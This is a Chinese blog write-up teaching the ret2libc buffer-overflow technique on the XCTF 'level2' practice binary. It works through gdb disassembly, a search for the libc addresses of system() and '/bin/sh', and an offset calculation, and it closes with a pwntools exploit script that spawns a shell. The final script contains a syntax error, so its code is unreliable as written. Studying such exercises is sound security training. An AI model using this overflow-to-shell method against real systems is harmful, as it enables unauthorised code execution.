ROP之ret2libc

ROP之ret2libc

修改返回地址,讓其指向內存中已有的某個函數

當函數調用棧的沒有執行權限時,就不能執行我們自己寫入的shellcode,就利用程序裏或系統裏的函數,libc動態鏈接庫中通常就有需要的函數,如system()

payload結構

  • 通過溢出覆蓋返回地址(相當於call system)

    padding + system address

  • 調用system時的返回地址,可以隨便填

    padding+ system address + padding2

  • system的參數**/bin/sh**

    padding+ system address + padding2+/bin/sh address

實例

直接下載

攻防世界pwn-level2

自己編譯

一步一步學 ROP 之 Linux_x86 篇 - 阿里聚安全 - SegmentFault 思否

mark

可以看到NX開啓即No-eXecute(不可執行),也叫DEP

如果是64位的系統需要安裝32位的運行環境

Linux(Ubuntu Kali)64位安裝32位運行環境和編譯環境 – Unitary-orz

然後用gdb調試,是一個簡單輸入後打印

(gdb) r
Starting program: /root/Desktop/level2 
[Detaching after fork from child process 4649]
Input:
1234
[Detaching after fork from child process 4650]
Hello World!
[Inferior 1 (process 4645) exited normally]

查看main

(gdb) disass main
Dump of assembler code for function main:
   0x08048480 <+0>:	lea    0x4(%esp),%ecx
   0x08048484 <+4>:	and    $0xfffffff0,%esp
   0x08048487 <+7>:	pushl  -0x4(%ecx)
   0x0804848a <+10>:	push   %ebp
   0x0804848b <+11>:	mov    %esp,%ebp
   0x0804848d <+13>:	push   %ecx
   0x0804848e <+14>:	sub    $0x4,%esp
   0x08048491 <+17>:	call   0x804844b <vulnerable_function>
   0x08048496 <+22>:	sub    $0xc,%esp
   0x08048499 <+25>:	push   $0x804854c
   0x0804849e <+30>:	call   0x8048320 <system@plt>
   0x080484a3 <+35>:	add    $0x10,%esp
   0x080484a6 <+38>:	mov    $0x0,%eax
   0x080484ab <+43>:	mov    -0x4(%ebp),%ecx
   0x080484ae <+46>:	leave  
   0x080484af <+47>:	lea    -0x4(%ecx),%esp
   0x080484b2 <+50>:	ret    
End of assembler dump.

跟進call 0x804844b <vulnerable_function>

(gdb) disass vulnerable_function 
Dump of assembler code for function vulnerable_function:
   0x0804844b <+0>:	push   %ebp
   0x0804844c <+1>:	mov    %esp,%ebp
   0x0804844e <+3>:	sub    $0x88,%esp
   0x08048454 <+9>:	sub    $0xc,%esp
   0x08048457 <+12>:	push   $0x8048540
   0x0804845c <+17>:	call   0x8048320 <system@plt>
   0x08048461 <+22>:	add    $0x10,%esp
   0x08048464 <+25>:	sub    $0x4,%esp
   0x08048467 <+28>:	push   $0x100
   0x0804846c <+33>:	lea    -0x88(%ebp),%eax
   0x08048472 <+39>:	push   %eax
   0x08048473 <+40>:	push   $0x0
   0x08048475 <+42>:	call   0x8048310 <read@plt>
   0x0804847a <+47>:	add    $0x10,%esp
   0x0804847d <+50>:	nop
   0x0804847e <+51>:	leave  
   0x0804847f <+52>:	ret    
End of assembler dump.

發現漏洞點read()函數,想辦法進行利用

我們利用libc庫中的內容,來執行system("bin/sh")

下斷點在main函數

(gdb) b main
Breakpoint 1 at 0x804848e
(gdb) r
Starting program: /root/Desktop/level2 

Breakpoint 1, 0x0804848e in main ()
(gdb) info r
eax            0xf7f9adc8          -134631992
ecx            0xffffd390          -11376
edx            0xffffd3b4          -11340
ebx            0x0                 0
esp            0xffffd374          0xffffd374
ebp            0xffffd378          0xffffd378
esi            0xf7f99000          -134639616
edi            0xf7f99000          -134639616
eip            0x804848e           0x804848e <main+14>
eflags         0x282               [ SF IF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

查看映射地址空間

(gdb) info proc mappings 
process 4800
Mapped address spaces:

	Start Addr   End Addr       Size     Offset objfile
	 0x8048000  0x8049000     0x1000        0x0 /root/Desktop/level2
	 0x8049000  0x804a000     0x1000        0x0 /root/Desktop/level2
	 0x804a000  0x804b000     0x1000     0x1000 /root/Desktop/level2
	0xf7dbf000 0xf7dd8000    0x19000        0x0 /lib32/libc-2.28.so
	0xf7dd8000 0xf7f26000   0x14e000    0x19000 /lib32/libc-2.28.so
[...]

可以看到libc.so在內存中的起始位置爲0xf7dbf000

現在來找system()"/bin/sh"

通過gdb查找

我們打印system地址和查找"/bin/sh"

(gdb) find 0xf7dbf000,+9999999,"/bin/sh"
0xf7f3daaa
warning: Unable to access 16000 bytes of target memory at 0xf7f9b6b2, halting search.
1 pattern found.
(gdb) p system
$2 = {<text variable, no debug info>} 0xf7dfd9e0 <system>
(gdb) x/s 0xf7f3daaa #字符串形式查看
0xf7f3daaa:	"/bin/sh"
(gdb) x/i 0xf7dfd9e0  #指令形式查看
0xf7dfd9e0 <system>:call   0xf7ef6b2d

system0xf7dfd9e0

"/bin/sh"0xf7f3daaa



通過string和readelf查找

有時gdb查找出來的有問題

readelf

-s --syms              Display the symbol table

string

-t --radix={o,d,x}        Print the location of the string in base 8, 10 or 16

$ string -tx #使用16進製表示字符串位置

通過上面查出的lib.so的路徑/lib32/libc-2.28.so來查找

函數地址

$ readelf -s /lib32/libc-2.28.so | grep system
   257: 0012a2c0   102 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   658: 0003e9e0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1525: 0003e9e0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

字符串地址

$ strings -tx /lib32/libc-2.28.so | grep "/bin/sh"
 17eaaa /bin/sh

得到的地址是偏移地址

通過上面libc.so 的地址0xf7dbf000來計算真正地址

system(): 0xf7dfd9e0 =0xf7dbf000+0003e9e0

"/bin/sh": 0xf7f3daaa =0xf7dbf000+17eaaa



pwntool獲取

這個找的是程序內的地

from pwn import *
s = process("./level2")
elf = ELF('Desktop/level2')
sys = elf.symbols['system']
sh = elf.search('/bin/sh').next()


查看緩衝區大小

來看vulnerable_function

(gdb) disass vulnerable_function 
Dump of assembler code for function vulnerable_function:
   0x0804844b <+0>:	push   %ebp
   0x0804844c <+1>:	mov    %esp,%ebp
   0x0804844e <+3>:	sub    $0x88,%esp
   0x08048454 <+9>:	sub    $0xc,%esp
   0x08048457 <+12>:	push   $0x8048540
   0x0804845c <+17>:	call   0x8048320 <system@plt>
   0x08048461 <+22>:	add    $0x10,%esp
   0x08048464 <+25>:	sub    $0x4,%esp
   0x08048467 <+28>:	push   $0x100
   0x0804846c <+33>:	lea    -0x88(%ebp),%eax
   0x08048472 <+39>:	push   %eax
   0x08048473 <+40>:	push   $0x0
   0x08048475 <+42>:	call   0x8048310 <read@plt>
   0x0804847a <+47>:	add    $0x10,%esp
   0x0804847d <+50>:	nop
   0x0804847e <+51>:	leave  
   0x0804847f <+52>:	ret    
End of assembler dump.

通過sub $0x88,%esp看出緩衝區大小爲0x88,然後加上ebp的地址就是覆蓋返回地址,因爲是32位所以加4

exp

padding+ system address + padding2+/bin/sh address

from pwn import *

s.process(./level2)
sys = 0xf7dfd9e0
sh = 0xf7f3daaa

payload = 'a'*(0x88+4) + p32(sys) + p32(0x12345678) + p32(sh)
s.recvuntil(':')
s.sendline(payload)
s.interactive()

參考

(26) Doing ret2libc with a Buffer Overflow because of restricted return pointer - bin 0x0F - YouTube

手把手教你棧溢出從入門到放棄(上) - 知乎

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章